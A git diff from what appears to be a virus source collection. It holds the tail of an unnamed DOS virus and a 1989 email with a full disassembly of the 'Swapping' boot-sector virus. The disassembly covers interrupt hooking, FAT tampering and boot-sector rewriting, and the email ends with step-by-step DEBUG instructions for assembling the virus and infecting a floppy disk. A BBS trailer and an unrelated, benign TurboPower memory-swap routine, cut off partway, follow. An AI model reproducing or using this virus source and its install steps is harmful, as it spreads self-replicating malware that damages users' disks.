19h, 10h, 0Bh,0BAh, 19h, 02h + db 0C7h,0C4h,0C4h,0B4h, 20h,0C7h + db 0C4h, 19h, 2Ch, 18h, 19h, 10h + db 09h,0D0h, 19h, 02h,0D0h, 20h + db 20h,0C1h, 20h,0D0h,0C4h,0C4h + db 0D9h, 19h, 2Ah, 18h, 19h, 0Eh + db 04h,0D6h,0C4h,0D2h,0C4h,0BFh + db 20h,0D6h,0C4h,0C4h,0BFh, 20h + db 0D2h,0C4h,0C4h,0BFh, 20h,0D2h + db 20h,0DAh, 19h, 26h, 18h, 19h + db 0Eh, 0Bh,0BAh, 20h,0BAh, 20h + db 0B3h, 20h,0C7h,0C4h,0C4h,0B4h + db 20h,0C7h,0C4h,0C2h,0D9h, 20h + db 0C7h,0C4h,0C1h,0BFh, 19h, 25h + db 18h, 19h, 0Eh, 09h,0D0h, 20h + db 0D0h, 20h,0C1h, 20h,0D0h, 20h + db 20h,0C1h, 20h,0D0h, 20h,0C1h + db 20h, 20h,0D0h, 20h, 20h,0C1h + db 19h, 25h, 18h, 19h, 0Eh, 04h + db 0D2h, 20h,0D2h, 20h,0C2h, 20h + db 0D2h, 20h, 20h,0C2h, 20h,0C4h + db 0D2h,0C4h, 20h,0D6h,0C4h,0D2h + db 0C4h,0BFh, 20h,0D6h,0C4h,0D2h + db 0C4h,0BFh, 20h,0C4h,0D2h,0C4h + db 20h,0D6h,0C4h,0C4h,0BFh, 20h + db 0D6h,0C4h,0C4h,0BFh, 20h,0D6h + db 0C4h,0D2h,0C4h,0BFh, 20h,0D6h + db 0C4h,0C4h,0BFh, 20h,0D6h,0C4h + db 0C4h,0BFh, 20h, 20h, 18h, 19h + db 0Eh, 0Bh,0BAh, 20h,0BAh, 20h + db 0B3h, 20h,0C7h,0C4h,0C4h,0B4h + db 20h, 20h,0BAh, 19h, 03h,0BAh + db 19h, 04h,0BAh, 19h, 03h,0BAh + db 20h, 20h,0BAh, 20h, 20h,0B3h + db 20h,0BAh, 20h,0C4h,0BFh, 19h + db 02h,0BAh, 19h, 02h,0BAh, 20h + db 20h,0B3h, 20h,0BAh + db 20h, 20h + dd 182020B3h ; Data table (indexed access) + db 19h, 0Eh, 09h,0D3h,0C4h,0D0h + db 0C4h,0D9h, 20h,0D0h, 20h, 20h + db 0C1h, 20h,0C4h,0D0h,0C4h, 19h + db 02h,0D0h, 19h, 04h,0D0h, 19h + db 02h,0C4h,0D0h,0C4h, 20h,0D0h + db 20h, 20h,0C1h, 20h,0D3h,0C4h + db 0C4h,0D9h, 19h, 02h,0D0h, 19h + db 02h,0D3h,0C4h,0C4h,0D9h, 20h + db 0D0h, 20h, 20h,0C1h, 20h, 20h + db 18h, 19h, 0Eh, 0Eh, 1Bh,0D2h + db 19h, 04h,0C2h, 20h,0C4h,0C4h + db 0D2h,0C4h,0C4h, 20h,0D2h, 1Ah + db 04h,0C4h,0BFh, 20h,0D2h, 19h + db 04h,0C2h, 20h,0D6h, 1Ah, 04h + db 0C4h,0BFh, 19h, 03h, 04h, 1Bh + db 0D2h, 20h,0D2h, 20h,0D2h, 20h + db 0D2h, 20h,0D2h, 20h,0D2h, 20h + db 0D2h, 20h,0D2h, 20h, 20h, 18h + db 19h, 0Eh, 0Eh, 1Bh,0BAh, 19h + db 04h,0B3h, 19h, 02h,0BAh, 19h + db 02h,0BAh, 19h, 04h,0B3h, 20h + db 0BAh, 19h, 04h,0B3h, 20h,0BAh + db 19h, 09h, 0Bh, 1Bh,0BAh, 20h + db 0BAh, 20h,0BAh, 20h,0BAh, 20h + db 0BAh, 20h,0BAh, 20h,0BAh, 20h + db 0BAh, 20h, 20h, 18h, 19h, 0Eh + db 0Eh, 1Bh,0D3h,0B7h, 19h, 02h + db 0DAh,0D9h, 19h, 02h,0BAh, 19h + db 02h,0C7h,0C4h,0C4h,0C4h,0C2h + db 0C4h,0D9h, 20h,0BAh, 19h, 04h + db 0B3h, 20h,0D3h, 1Ah, 04h,0C4h + db 0BFh, 19h, 03h + db 9, 1Bh, 'o o o o o o o o ' + db 18h, 19h, 0Fh, 0Eh, 1Bh,0BAh + db 19h, 02h,0B3h, 19h, 03h,0BAh + db 19h, 02h,0BAh, 19h, 02h,0B3h + db 19h, 02h,0BAh, 19h, 04h,0B3h + db 19h, 06h,0B3h, 19h, 14h, 18h + db 19h, 0Fh,0D3h,0C4h,0C4h,0C4h + db 0D9h, 20h, 20h,0C4h,0C4h,0D0h + db 0C4h,0C4h, 20h,0D0h, 19h, 02h + db 0C1h,0C4h, 20h, 20h,0D3h, 1Ah + db 04h,0C4h,0D9h, 20h,0D3h, 1Ah + db 04h,0C4h,0D9h, 19h, 14h, 18h + + +data_1e equ 0A0h +exe_mask db '*.exe',0 +com_mask db '*.com',0 +dot_dot db '..',0 +heap: ; Variables not in code +; The following code is the buffer for the write function +code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) +oldint24 dd ? ; Storage for old int 24h handler +backslash db ? +origdir db 64 dup (?) ; Current directory buffer +newDTA db 43 dup (?) ; Temporary DTA +numinfec db ? ; Infections this run +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +end entry_point diff --git a/s/SWAPPING.ASM b/s/SWAPPING.ASM new file mode 100755 index 0000000..f8c0d29 --- /dev/null +++ b/s/SWAPPING.ASM @@ -0,0 +1,551 @@ +From: Jnet%"NYYUVAL@WEIZMANN" "Yuval Tal -8-474592" 15-AUG-1989 19:42:53.22 +To: RCSTRN@HEITUE51 +CC: +Subj: Swap Virus + +Received: From WEIZMANN(VMMAIL) by HEITUE51 with Jnet id 6788 + for RCSTRN@HEITUE51; Tue, 15 Aug 89 19:42 N +Received: by WEIZMANN (Mailer R2.03B) id 7639; Tue, 15 Aug 89 20:34:55 +0300 +Date: Tue, 15 Aug 89 20:33:34 +0300 +From: "Yuval Tal (972)-8-474592" +Subject: Swap Virus +To: RCSTRN@HEITUE51 + +hi.... + +This is the swap virus that i've told u about.. + +cheers, + + yuval + +------------------------------------------------------+ + | The "Swapping" virus | + +------------------------------------------------------+ + | | + | Disassembled on: August, 1989 | + | | + | Disassembled by: Yuval Tal | + | | + | Disassembled using: ASMGEN and DEBUG | + | | + +------------------------------------------------------+ + +Important note: If you find *ANYTHING* that you think I wrote +incorrectly or is-understood something, please let me know ASAP. +You can reach me: + + Bitnet: NYYUVAL@WEIZMANN + InterNet: NYYUVAL%WEIZMANN.BITNET@CUNYVM.CUNY.EDU + + +This text is divided into theree parts: + + 1) A report about the Swap Virus. + 2) A disassembly of the Swap Virus. + 3) How to install this virus? + +------------------------------------------------------------------------------- + R E P O R T +------------------------------------------------------------------------------- + +Virus Name..............: The Swap Virus +Attacks.................: Floppy-disks only +Virus Detection when....: June, 1989 + at......: Israel +Length of virus.........: 1. The virus itself is 740 bytes. + 2. 2048 bytes in RAM. +Operating system(s).....: PC/MS DOS version 2.0 or later +Identifications.........: A) Boot-sector: + 1) Bytes from $16A in the boot sector are: + 31 C0 CD 13 B8 02 02 B9 06 27 BA 00 01 CD 13 + 9A 00 01 00 20 E9 XX XX + 2) The first three bytes in the boot sector are: + JMP 0196 (This is, if the boot sector was + loaded to CS:0). + B) FAT: Track 39 sectors 6-7 are marked as bad. + C) The message: + "The Swapping-Virus. (C) June, by the CIA" + is located in bytes 02B5-02E4 on track 39, + sector 7. +Type of infection.......: Stays in RAM, hooks int $8 and int $13. + A diskette is infected when it is inserted into the + drive and ANY command that reads or writes from/to + the diskette is executed. Hard disks are NOT infected! +Infection trigger.......: The virus starts to work after 10 minutes. +Interrupt hooked........: $8 (Timer-Tick - Responsible for the letter dropping) + $13 (Disk Drive - Infects!) +Damage..................: Track 39 sectors 6-7 will be marked as bad in the + FAT. +Damage trigger..........: The damage is done whenever a diskette is infected. +Particularities.........: A diskette will be infected only if track 39 sectors + 6-7 are empty. + + +------------------------------------------------------------------------------- + D I S A S S E M B L Y +------------------------------------------------------------------------------- + +;The first thing I did, inorder to dis-assemble this virus, was un-assemling +;it with the U command in DOS's DEBUG utility. Then, I used a dis-assembler +;called ASMGEN to set all the labels and variables in the .ASM file. I then +;compared the two outputs (from DEBUG and from ASMGEN) and updated the .ASM +;file that no command will be missing, added a few things and this is the +;result: + +CODE SEGMENT + + ASSUME DS:CODE,CS:CODE + ORG 0000H + +START: JMP L0353 + + DATA_BEGIN EQU THIS BYTE + + OldInt8 DW 0,0 ;The old interrupt 8: Offset Segment + OldInt13 DW 0,0 ;The old interrupt 13: Offset Segment + RandomNumber DW 0 ;The random number + Flag DB 0 + Counter DW 0 + Counter2 DW 0 + Status DB 0 + CHAR DB 0 ;The character that is falling + CHARUNDER DB 0 ;The chacterer that we save + ADDRCHAR DW 0 ;The address of the character in mem. + GOT13 DB 0 ;If interrupt 13 is installed + DISKDRIV DB 0 ;The diskette that we are infecting + DISK DW 0 ;The diskette that we are infecting + + + DATA_END EQU THIS BYTE + +; The following 11 command are written into the boot-sector at address CS:196 +; At first I worte the commands, but some of the opcodes weren't the same as +; in the virus so I've exchanged them into opcodes for maximum compability. + + + StartCmds EQU THIS BYTE + + DB 031h,0C0h ;XOR AX,AX + DB 0CDh,013h ;INT 13h + DB 0B8h,002h,002h ;MOV AX,OFFSET 0202h + DB 0B9h,006h,027h ;MOV CX,OFFSET 2706h + DB 0BAh,000h,001h ;MOV DX,OFFSET 0100h + DB 0BBh,000h,020h ;MOV BX,OFFSET 2000h + DB 08Eh,0C3h ;MOV ES,BX + DB 0BBh,000h,000h ;MOV BX,0 + DB 0CDh,013h ;INT 13h + DB 09Ah,00h,00h,00h,020h ;Call 2000h:0000 + DB 0E9h ;JMP +FirstJMP DW 0FE89h ; 003EH (Don't worry, + ; it's the right addres + + +;------------------------------------------ +; This is the new interrupt $13 routine +;------------------------------------------ + +NewInt13: + PUSHF ; + CMP DL,1h ;Call for drive A: or B:? + JA L0153 ;If not, don't put virus + + CMP AH,2h ;Is it a readblock function + JB L0153 ;(AH=2)? No, AH is smaller so + ;don't put virus + + CMP AH,3h ;Is it a writeblock function + JA L0153 ;(AH=3)? No, AH is bigger so + ;don't put virus + INC DL ;Set disk drive to fit the user + ;(Drive A=1 ; Drive B=2) + MOV CS:DiskDriv,DL ;Save the drive number + DEC DL ;Set disk drive to fit the int. + ;(Drive A=0 ; Drive B=1) + + +L0153: CALL DWORD PTR CS:OldInt13 ;Call the original int 13 + JNB L0160 ;If no error, goto end of + ;routine. (JNB=JNC) + MOV BYTE PTR CS:DiskDriv,0 ;If error, DiskDriv=0 + +L0160: RETF 2 ;Return from routine + +;----------------------------------------------------- +; Infect the diskette +;----------------------------------------------------- + +L0163: PUSH ES ; + PUSH BP ;Save registers + MOV BP,SP ; + MOV AX,[BP+10h] ;Let AX=CS from the stack + + POP BP ; + + CMP AX,0200h ;Are we called from the system? + JBE L01BB ;If so, don't infect + MOV BX,CS ;Get the program segment + CMP AX,BX ;Is it the same as one from + JNB L01BB ;stack? If so, don't infect + + MOV AX,CS ; + MOV ES,AX ;ES=CS + MOV AL,CS:DiskDriv ;AL=DiskDriv + DEC AL ;Set AL to fit int + XOR AH,AH ;AH=0 + MOV CS:Disk,AX ;Save AX + MOV AX,0201h ;Read one sector + MOV BX,0400h ;to buffer CS:400 + MOV CX,0003h ;from sector 3, track 0 (FAT) + MOV DX,CS:Disk ;restore the disk drive + INT 13h ;Read it!!! + JB L01BE ;If error, don't infect + + MOV AX,0301h ;Write one sector + MOV BX,0400h ;from CS:400 + MOV DX,CS:Disk ;the disk drive number + CMP BYTE PTR CS:[BX+13h],0 ;is there something on it? + JNZ L01BE ;yes, don't infect + + MOV BYTE PTR CS:[BX+13h],0F7h ;Mark the sector before the + OR BYTE PTR CS:[BX+14h],0Fh ;last one as bad + INT 13h ;Re-write the FAT! + JB L01BE ;If error, don't infect! + JMP SHORT L01C1 ;Continue... + +;Note: I have no idea what is the object of the next NOPs. + + NOP ; +L01BB: JMP SHORT L022D ;These JMP are for the don't + NOP ;infect...see above! +L01BE: JMP SHORT L0227 ; + NOP ; + +L01C1: MOV AX,0201h ;Read one sector to the + MOV BX,0400h ;buffer at CS:400 + MOV CX,0001h ;from sector 1, track 0 (boot + MOV DX,CS:Disk ;sector) from diskette + INT 13h ;Read it! + JB L0227 ;If error, don't infect + +;A boot sector always start with a JMP to a certain place. This virus changes +;this JMP to + + MOV BX,0400h ;Check where does the first + MOV AL,CS:[BX+1] ;JMP jumps to. + XOR AH,AH ; + SUB AX,1B3h ;Reduce 1B3h to calculate the + ;real JMP address and + MOV CS:FirstJMP,AX ;save it. + + MOV WORD PTR CS:[BX],93E9h ;Change the JMP in the loaded + MOV BYTE PTR CS:[BX+2],1 ;boot-sector (CS:400). E9=JMP + + PUSH SI ; + PUSH DI ; + PUSH DS ;Save registers + MOV AX,CS ; + MOV DS,AX ;DS=CS + +;Here, the commands which are added to the boot-sector at the 196th byte are +;copied to the loaded boot-sector at address CS:400. + + MOV SI,Offset StartCmds ;SI points to commands to add + ;to the boot-sector + MOV DI,0596h ;The 196th byte from CS:400 + MOV CX,1Fh ;The commands are 1Fh bytes long + CLD ; + REPZ MOVSB ;Copy it! + +L0200: POP DS ; +L0201: POP DI ; +L0202: POP SI ;Restore registers + +;The loaded and changed boot-sector is re-written to the diskette. + + MOV AX,0301h ;Write one sector from + MOV BX,0400h ;CS:400 to + MOV CX,0001h ;sector 1, track 0 + MOV DX,CS:Disk ;disk number.. + INT 13h ;Write data! + JB L0227 ;If error, don't infect + +;Here, the virus is written to the diskette to the marked bad sectors + + MOV AX,0302h ;Write two sectors from + MOV BX,0 ;CS:0 (this code!) to + MOV CX,2706h ;track 27h, sector 6 + MOV DX,CS:Disk ;disk number.. + MOV DH,1h ;side number 1 + INT 13h ;Write it! + +L0227: MOV BYTE PTR CS:DiskDriv,0 ;In case of error DiskDriv=0 +L022D: POP ES ;Restore register + JMP SHORT L02AF ;finished infecting + NOP ;Again, i don't know what is + ;this NOP object +;------------------------------------------- +; The new interrupt 13h is installed here +;------------------------------------------- + + +L0231: XOR AX,AX ;ES points to lowest segment + MOV ES,AX ;in memory + MOV BX,ES:4Ch ; + MOV CS:OldInt13[0],BX ;Save the int vector (offset) + MOV BX,ES:4Eh ; + MOV CS:OldInt13[2],BX ;Save the int vector (segment) + + MOV BX,CS ;BX=CS + MOV ES:4Eh,BX ;Change the int vector (segment) + MOV BX,Offset NewInt13 ;BX=Offset of the new int 13 + MOV ES:4Ch,BX ;Change the int vector (offset) + + MOV BYTE PTR CS:Got13,1 ;Mark flag that int 13 is instal + MOV BYTE PTR CS:Status,0 ;Status=0 + + JMP L034D ;Continue.... + +;----------------------------------------------------- + +L0267: JMP L0163 ;Infect disk! + +;----------------------------------------------------- +;This is the new interrupt $8 +;----------------------------------------------------- + +L026A: PUSHF ; + CALL DWORD PTR CS:OldInt8 ;Call orginal interrput + PUSH AX ; + PUSH BX ; + PUSH CX ; + PUSH DX ; + PUSH ES ;Save registers + +;The virus picks a random number. It does it by adding AX,BX,CX and DX +;to RandomNumber. The values of AX,BX,CX and DX are undefined because an +;hardware interrupt (look6 commands back) was called. + + ADD CS:RandomNumber,AX ;\ + ADD CS:RandomNumber,BX ; |_ Create random number + ADD CS:RandomNumber,CX ; | + ADD CS:RandomNumber,DX ;/ + +;I am not sure what the programmer had done next but my guess is that this +;is the time check. The virus starts to work after 10 minuntes or so. + + CMP WORD PTR CS:Counter,0443h ;Is my counter>=443h? + JNB L029F ;Yes, it is.. + + INC WORD PTR CS:Counter ;No, incerase it and also + INC WORD PTR CS:Counter2 ;increase another thing (??) + ;and then, + JMP L034D ;goto end of routine + +L029F: CMP BYTE PTR CS:Got13,0 ; + JZ L0231 + CMP BYTE PTR CS:DiskDriv,0 ;Is diskette infected? + JNZ L0267 ;No, infect it! + +L02AF: CMP WORD PTR CS:Counter2,2A9Dh ;?? + JNB L02C0 ;?? + INC WORD PTR CS:Counter2 ;?? + JMP L034D ;Exit routine + +;----------------------------------------------------------------- +; This is the main routine which drops the letter from the screen +;----------------------------------------------------------------- + +L02C0: MOV BX,0B800h ;Make ES point to the screen + MOV ES,BX ;segment (only cga,ega,mcga) + CMP BYTE PTR CS:Status,0 ;Is status=0? + JNZ L0305 ;No, drop letter + +;This is done to make space in the time between the letters fall. + + ADD BYTE PTR CS:Flag,4 ;Flag:=Flag+4 + CMP BYTE PTR CS:Flag,4 ;Is flag=4? + JNB L034D ;If so, don't drop + + MOV BX,CS:RandomNumber ;Set up random number.. + MOV CL,5 ; + SHR BX,CL ;first, devide it by 32 + SHL BX,1 ;second, multiply it by 2 + + MOV AL,ES:[BX] ;Save the char we need to drop + CMP AL,20h ;is it a space( )? + JZ L034D ;if so, don't drop + + MOV CS:Char,AL ;Save the char + MOV BYTE PTR CS:CharUnder,20h ;The saved char is now ' ' + MOV CS:AddrChar,BX ;Svae the address of the char + MOV BYTE PTR CS:Status,1 ;Status=1 + +L0302: JMP SHORT L034D ;Go to exit + NOP ; + +L0305: CMP BYTE PTR CS:Status,2 ;Is Status=2? + JZ L0315 ;If so, continue + INC BYTE PTR CS:Status ;Else, status=status+1 + + JMP SHORT L034D ;Go to exit + NOP ; + +L0315: MOV BYTE PTR CS:Status,1 ;Status:=1 + MOV BX,CS:AddrChar ;Put address of character in BX + MOV AL,CS:CharUnder ;and the saved char at AL + MOV ES:[BX],AL ;Erase the letter on the screen + ADD BX,0A0h ;Move pointer to next line + + CMP BX,0FA0h ;Did we past end of screen? + JA L0347 ;If so, the dropping has ended + MOV CS:AddrChar,BX ;Save the new address + MOV AL,ES:[BX] ;and the character + MOV CS:CharUnder,AL ;and put the dropping letter + MOV AL,CS:Char ;in the current location + MOV ES:[BX],AL ; + + JMP SHORT L034D ;Go to end of routine + NOP ; + +L0347: MOV BYTE PTR CS:Status,0 ;Status:=0 + ; + +L034D: POP ES ;Resotre registers + POP DX ; + POP CX ; + POP BX ; + POP AX ; + IRET ;Return from interrupt + +;------------------------------------------------------------------- +;This part of the virus initilized the TSR +;------------------------------------------------------------------- + +L0353: PUSH DS ; + PUSH ES ;Save registers + MOV AX,CS ; + MOV DS,AX ;Make CS=DS + +;First thing, clear all the data area + + MOV ES,AX ;ES=DS + MOV DI,OFFSET DATA_BEGIN ;Offset of beginning of data + MOV CX,OFFSET DATA_END-OFFSET DATA_BEGIN ;Length of data + CLD ;Go forward + XOR AL,AL ;Store 0 each time (AL=0) + REPZ STOSB ;Repeat so CX times + +;Now, make ES point to the lowest segment in the memory + + XOR AX,AX ; + MOV ES,AX ;ES point to lowest segment + +;The interrupt vectors are written in the lowest segment so: +; +; 1) Save the interrupt 8 segment and offset for later use +; 2) Read amount of memory (0:413h) and steal 2K (the virus will be put here) + + MOV BX,ES:20h ;Get offset of int $8 + MOV DS:OldInt8[0],BX ;Save int $8 offset + MOV BX,ES:22h ;Get segment of int $8 + MOV DS:OldInt8[2],BX ;Save int $8 segment + + MOV AX,ES:413h ;Put amount of mem. in AX, + SUB AX,2 ;steal 2K and + MOV ES:413h,AX ;save the new amount of mem. + +;Copy the virus to the highest place in the memory: + + MOV CL,6 ; + SHL AX,CL ;Multiply the mem size by 64 and + MOV ES,AX ;make ES point to this segm. + MOV SI,OFFSET START ;SI to begining of this code + MOV DI,SI ; + MOV CX,OFFSET _End-OFFSET Start ;Virus length=_End-Start + CLD ; + REPZ MOVSB ;Copy the virus. + +;IMPORTANT: I am not sure that what I am saying in the next paragraph is +; correct. Please let me know if I am wrong + + XOR AX,AX ; + MOV DS,AX ;DS point to lowest segment + MOV BX,CS:OldInt8[0] ;Get the offset of int $8 and + MOV BYTE PTR ES:[BX],0CFh ;put 0CFh there (I think it is + ;to put IRET). + +;OK, now all the virus needs to do is to change the interrupt vector so +;it will point the new $8 interrput. + + MOV BX,ES ; + CLI ; + MOV DS:22h,BX ;Change the vector (Segment) + MOV BX,OFFSET L026A ;BX=Offset of new interrupt + MOV DS:20h,BX ;Change the vector (Offset) + STI ; + + POP ES ;Restore registers + POP DS ; + + RETF ;Return back + +;I guess this is the signature of the virus: + + DB 'The Swapping-Virus. (C) June, 1989 by the CIA' + + _END EQU THIS BYTE + + CODE ENDS +; +END START + +------------------------------------------------------------------------------- + H O W T O I N S T A L L T H E V I R U S +------------------------------------------------------------------------------- + + 1) Cut the disassembly from this text. + 2) Compile the disassembly. I used Macro Assembler 5.1 in order to compile and + link it but I think that there won't be any trouble using Turbo Assembler. + 3) Use EXE2BIN or anything else inorded to make it a .COM file. + 4) Format a diskette with the /S option inorder to put the operation system on + it (make sure you format it in 9 sectors per track format). + 5) Enter DOS's DEBUG debugger and load the .COM file that you have created. + 6) Type: M 100 400 0 this is done inorded to move the virus from CS:100 to + CS:0. + 7) Put the diskette you want to infect in drive A. + 8) Type: W 0 0 2CC 2 this command will write the virus into sectors 6-7 on + track 39. + 9) Type: L 0 0 0 1 this will load the boot sector into the memory. +10) Type: U 0 and remember the number after the JMP in offset 0. +11) Type: A 0 + JMP 196 this will execute the virus each time the + diskette is booted. +12) Type: A 196 + XOR AX,AX + INT 13 + MOV AX,202 + MOV CX,2706 + MOV DX,100 + MOV BX,2000 + MOV ES,BX + MOV BX,0 + INT 13 + CALL 2000:0000 + JMP +13) Now, save the boot sector by typing: W 0 0 0 1 + +That's it! The virus is now installed on your diskette! + ++-----------------------------------------------------------------------+ +| BitNet: NYYUVL@WEIZMANN CSNet: NYYUVAL@WEIZMANN.BITNET | +| InterNet: NYYUVAL%WEIZMANN.BITNET@CUNYVM.CUNY.EDU | +| | +| Yuval Tal | +| The Weizmann Institute Of Science "To be of not to be" -- Hamlet | +| Rehovot, Israel "Oo-bee-oo-bee-oo" -- Sinatra | ++-----------------------------------------------------------------------+ + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/s/SWAP_P.ASM b/s/SWAP_P.ASM new file mode 100755 index 0000000..23ee31f --- /dev/null +++ b/s/SWAP_P.ASM @@ -0,0 +1,437 @@ +.model large + +;EXECSWAP.ASM +; Swap memory and exec another program +; Copyright (c) 1988 TurboPower Software +; May be used freely as long as due credit is given +;----------------------------------------------------------------------------- +;DATA SEGMENT BYTE PUBLIC +.data + EXTRN _BytesSwapped:DWORD ;Bytes to swap to EMS/disk + EXTRN _EmsAllocated:BYTE ;True when EMS allocated for swap + EXTRN _FileAllocated:BYTE ;True when file allocated for swap + EXTRN _EmsHandle:WORD ;Handle of EMS allocation block + EXTRN _FrameSeg:WORD ;Segment of EMS page frame + EXTRN _FileHandle:WORD ;Handle of DOS swap file + EXTRN _SwapName:BYTE ;ASCIIZ name of swap file + EXTRN _PrefixSeg:WORD ;Base segment of program +;DATA ENDS +;----------------------------------------------------------------------------- +;CODE SEGMENT BYTE PUBLIC +.code +; ASSUME CS:CODE,DS:DATA + PUBLIC EXECWITHSWAP, _FIRSTTOSAVE + PUBLIC ALLOCATESWAPFILE, DEALLOCATESWAPFILE + PUBLIC EMSINSTALLED, EMSPAGEFRAME + PUBLIC ALLOCATEEMSPAGES, DEALLOCATEEMSHANDLE +;----------------------------------------------------------------------------- +FileAttr EQU 0 ;Swap file attribute (hidden+system) +EmsPageSize EQU 16384 ;Size of EMS page +FileBlockSize EQU 32768 ;Size of a file block +StkSize EQU 128 ;Bytes in temporary stack +lo EQU (WORD PTR 0) ;Convenient typecasts +hi EQU (WORD PTR 2) +ofst EQU (WORD PTR 0) +segm EQU (WORD PTR 2) +;----------------------------------------------------------------------------- +;Variables in CS +EmsDevice DB 'EMMXXXX0',0 ;Name of EMS device driver +UsedEms DB 0 ;1 if swapping to EMS, 0 if to file +BytesSwappedCS DD 0 ;Bytes to move during a swap +EmsHandleCS DW 0 ;EMS handle +FrameSegCS DW 0 ;Segment of EMS page window +FileHandleCS DW 0 ;DOS file handle +PrefixSegCS DW 0 ;Segment of base of program +Status DW 0 ;ExecSwap status code +LeftToSwap DD 0 ;Bytes left to move +SaveSP DW 0 ;Original stack pointer +SaveSS DW 0 ;Original stack segment +PathPtr DD 0 ;Pointer to program to execute +CmdPtr DD 0 ;Pointer to command line to execute +ParasWeHave DW 0 ;Paragraphs allocated to process +CmdLine DB 128 DUP(0) ;Terminated command line passed to DOS +Path DB 64 DUP(0) ;Terminated path name passed to DOS +FileBlock1 DB 16 DUP(0) ;FCB passed to DOS +FileBlock2 DB 16 DUP(0) ;FCB passed to DOS +BooBoo DB '$' +ComeBack DB '$' +EnvironSeg DW 0 ;Segment of environment for child +CmdLinePtr DD 0 ;Pointer to terminated command line +FilePtr1 DD 0 ;Pointer to FCB file +FilePtr2 DD 0 ;Pointer to FCB file +TempStack DB StkSize DUP(0) ;Temporary stack +StackTop LABEL WORD ;Initial top of stack +;----------------------------------------------------------------------------- +;Macros +MovSeg MACRO Dest,Src ;Set one segment register to another + PUSH Src + POP Dest + ENDM + +MovMem MACRO Dest,Src ;Move from memory to memory via AX + MOV AX,Src + MOV Dest,AX + ENDM + +InitSwapCount MACRO ;Initialize counter for bytes to swap + MovMem LeftToSwap.lo,BytesSwappedCS.lo + MovMem LeftToSwap.hi,BytesSwappedCS.hi + ENDM + +SetSwapCount MACRO BlkSize ;Return CX = bytes to move this block + LOCAL FullBlk ;...and reduce total bytes left to move + MOV CX,BlkSize ;Assume we'll write a full block + CMP LeftToSwap.hi,0 ;Is high word still non-zero? + JNZ FullBlk ;Jump if so + CMP LeftToSwap.lo,BlkSize ;Low word still a block or more? + JAE FullBlk ;Jump if so + MOV CX,LeftToSwap.lo ;Otherwise, move what's left +FullBlk:SUB LeftToSwap.lo,CX ;Reduce number left to move + SBB LeftToSwap.hi,0 + ENDM + +NextBlock MACRO SegReg, BlkSize ;Point SegReg to next block to move + MOV AX,SegReg + ADD AX,BlkSize/16 ;Add paragraphs to next segment + MOV SegReg,AX ;Next block to move + MOV AX,LeftToSwap.lo + OR AX,LeftToSwap.hi ;Bytes left to move? + ENDM + +EmsCall MACRO FuncAH ;Call EMM and prepare to check result + MOV AH,FuncAH ;Set up function + INT 67h + OR AH,AH ;Error code in AH + ENDM + +DosCallAH MACRO FuncAH ;Call DOS subfunction AH + MOV AH,FuncAH + INT 21h + ENDM + +DosCallAX MACRO FuncAX ;Call DOS subfunction AX + MOV AX,FuncAX + INT 21h + ENDM + +InitSwapFile MACRO + MOV BX,FileHandleCS ;BX = handle of swap file + XOR CX,CX + XOR DX,DX ;Start of file + DosCallAX 4200h ;DOS file seek + ENDM + +HaltWithError MACRO Level ;Halt if non-recoverable error occurs + PUSH CS + POP DS + MOV DX,OFFSET BooBoo + MOV AH,9 + INT 21h + MOV AL,Level ;Set errorlevel + DosCallAH 4Ch + ENDM + +MoveFast MACRO ;Move CX bytes from DS:SI to ES:DI + CLD ;Forward + RCR CX,1 ;Convert to words + REP MOVSW ;Move the words + RCL CX,1 ;Get the odd byte, if any + REP MOVSB ;Move it + ENDM + +SetTempStack MACRO ;Switch to temporary stack + MOV AX,OFFSET StackTop ;Point to top of stack + MOV BX,CS ;Temporary stack in this code segment + CLI ;Interrupts off + MOV SS,BX ;Change stack + MOV SP,AX + STI ;Interrupts on + ENDM +;----------------------------------------------------------------------------- +;function ExecWithSwap(Path, CmdLine : string) : Word; +EXECWITHSWAP PROC FAR + PUSH BP + MOV BP,SP ;Set up stack frame + +;Move variables to CS where we can easily access them later + MOV Status,1 ;Assume failure + LES DI,[BP+6] ;ES:DI -> CmdLine + MOV CmdPtr.ofst,DI + MOV CmdPtr.segm,ES ;CmdPtr -> command line string + LES DI,[BP+10] ;ES:DI -> Path + MOV PathPtr.ofst,DI + MOV PathPtr.segm,ES ;PathPtr -> path to execute + MOV SaveSP,SP ;Save stack position + MOV SaveSS,SS + MovMem BytesSwappedCS.lo,_BytesSwapped.lo + MovMem BytesSwappedCS.hi,_BytesSwapped.hi + MovMem EmsHandleCS,_EmsHandle + MovMem FrameSegCS,_FrameSeg + MovMem FileHandleCS,_FileHandle + MovMem PrefixSegCS,_PrefixSeg + InitSwapCount ;Initialize bytes LeftToSwap + +;Check for swapping to EMS or file + CMP _EmsAllocated,0 ;Check flag for EMS method + JZ NotEms ;Jump if EMS not used + JMP WriteE ;Swap to EMS +NotEms: CMP _FileAllocated,0 ;Check flag for swap file method + JNZ WriteF ;Swap to file + JMP ESDone ;Exit if no swapping method set + +;Write to swap file +WriteF: MovSeg DS,CS ;DS = CS + InitSwapFile ;Seek to start of swap file + JNC EF0 ;Jump if success + JMP ESDone ;Exit if error +EF0: SetSwapCount FileBlockSize ;CX = bytes to write + MOV DX,OFFSET _FIRSTTOSAVE ;DS:DX -> start of region to save + DosCallAH 40h ;File write + JC EF1 ;Jump if write error + CMP AX,CX ;All bytes written? + JZ EF2 ;Jump if so +EF1: JMP ESDone ;Exit if error +EF2: NextBlock DS,FileBlockSize ;Point DS to next block to write + JNZ EF0 ;Loop if bytes left to write + MOV UsedEms,0 ;Flag we used swap file for swapping + JMP SwapDone ;Done swapping out + +;Write to EMS +WriteE: MOV ES,_FrameSeg ;ES -> page window + MOV DX,_EmsHandle ;DX = handle of our EMS block + XOR BX,BX ;BX = initial logical page + MovSeg DS,CS ;DS = CS +EE0: XOR AL,AL ;Physical page 0 + EmsCall 44h ;Map physical page + JZ EE1 ;Jump if success + JMP ESDone ;Exit if error +EE1: SetSwapCount EmsPageSize ;CX = Bytes to move + XOR DI,DI ;ES:DI -> base of EMS page + MOV SI,OFFSET _FIRSTTOSAVE ;DS:SI -> region to save + MoveFast ;Move CX bytes from DS:SI to ES:DI + INC BX ;Next logical page + NextBlock DS,EmsPageSize ;Point DS to next page to move + JNZ EE0 ;Loop if bytes left to move + MOV UsedEms,1 ;Flag we used EMS for swapping + +;Shrink memory allocated to this process +SwapDone:MOV AX,PrefixSegCS + 